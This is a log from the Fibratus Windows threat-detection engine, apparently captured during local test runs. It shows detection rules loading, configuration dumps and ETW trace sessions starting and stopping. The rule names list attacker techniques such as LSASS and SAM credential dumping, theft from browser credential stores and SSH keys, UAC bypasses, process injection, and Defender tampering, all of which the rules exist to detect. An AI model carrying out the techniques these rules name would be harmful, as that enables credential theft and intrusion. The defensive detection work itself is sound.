+time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:45:35+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-23T00:45:35+01:00 level=info msg=bootstrapping with pid 4720. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T00:45:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true to=>[] port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 enable-audit-api=>true max-buffers=>36 stack-enrichment=>true buffer-size=>512 enable-dns=>false enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-registry=>true enable-net=>true flush-interval=>1s enable-thread=>true enable-threadpool=>false enable-vamap=>true enable-handle=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true max-age=>0 max-backups=>15 level=>info] + output ......................... [ http=>[ serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] enabled=>false method=>POST timeout=>5s] amqp=>[ routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false enabled=>false passive=>false exchange-type=>topic vhost=>/ delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 durable=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck=>true sniff=>false timeout=>5s trace-log=>false bulk-workers=>1 index-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] flush-period=>1s template-name=>fibratus gzip-compression=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-allocs=>false skip-mmaps=>false excluded-procs=>[] skip-registry=>false scan-timeout=>10s enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-23T00:45:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:45:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:45:54+01:00 level=error msg=unable to parse PE exports for module [C:\Users\nedo\AppData\Local\Temp\osk.exe]: open C:\Users\nedo\AppData\Local\Temp\osk.exe: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-23T00:46:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T00:46:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:46:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:48:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T00:48:04+01:00 level=info msg=bootstrapping with pid 17972. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T00:48:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 to=>[] content-type=>text/html use-template=>true enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-fileio=>true enable-image=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-audit-api=>true max-buffers=>36 flush-interval=>1s enable-vamap=>true enable-threadpool=>false enable-dns=>false enable-handle=>false enable-registry=>true enable-thread=>true enable-mem=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 formatter=>text] + output ......................... [ amqp=>[ durable=>false tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s routing-key=>fibratus passive=>false exchange-type=>topic vhost=>/ exchange=>fibratus enabled=>false url=>amqp://localhost:5672] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] http=>[ serializer=>json enabled=>false enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST endpoints=>[]] elasticsearch=>[ template-name=>fibratus healthcheck-interval=>10s timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false flush-period=>1s trace-log=>false enabled=>false healthcheck=>true index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-files=>[] skip-allocs=>false skip-files=>false skip-registry=>false fastscan=>true enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T00:48:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:48:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:56:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T00:56:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:56:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:57:34+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T00:57:34+01:00 level=info msg=bootstrapping with pid 19732. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T00:57:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ max-buffers=>36 enable-mem=>false enable-threadpool=>false enable-registry=>true buffer-size=>512 enable-thread=>true enable-audit-api=>true enable-image=>true min-buffers=>16 stack-enrichment=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false flush-interval=>1s enable-vamap=>true enable-fileio=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 formatter=>text log-stdout=>true level=>info] + output ......................... [ amqp=>[ enabled=>false passive=>false routing-key=>fibratus delivery-mode=>transient exchange-type=>topic timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false vhost=>/ durable=>false url=>amqp://localhost:5672] elasticsearch=>[ template-name=>fibratus healthcheck=>true gzip-compression=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s trace-log=>false timeout=>5s index-name=>fibratus sniff=>false bulk-workers=>1 enabled=>false healthcheck-timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false enable-gzip=>false endpoints=>[] serializer=>json timeout=>5s method=>POST tls-insecure-skip-verify=>false]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>false skip-allocs=>false enabled=>false skip-registry=>false excluded-files=>[] excluded-procs=>[] skip-mmaps=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T00:57:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:57:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:59:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T00:59:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:59:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:59:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T00:59:55+01:00 level=info msg=bootstrapping with pid 18496. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T00:59:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-registry=>true enable-dns=>false enable-vamap=>true flush-interval=>1s enable-handle=>false buffer-size=>512 enable-fileio=>true enable-net=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-thread=>true enable-threadpool=>false min-buffers=>16 enable-image=>true enable-audit-api=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] enabled=>false timeout=>5s method=>POST serializer=>json] amqp=>[ timeout=>5s exchange-type=>topic exchange=>fibratus enabled=>false passive=>false url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient routing-key=>fibratus tls-insecure-skip-verify=>false durable=>false] elasticsearch=>[ gzip-compression=>false timeout=>5s bulk-workers=>1 healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck-timeout=>5s flush-period=>1s template-name=>fibratus index-name=>fibratus trace-log=>false sniff=>false enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] scan-timeout=>10s skip-registry=>false skip-files=>false fastscan=>true enabled=>false skip-mmaps=>false excluded-files=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T00:59:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T00:59:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:03:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:03:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:03:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:16:02+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from 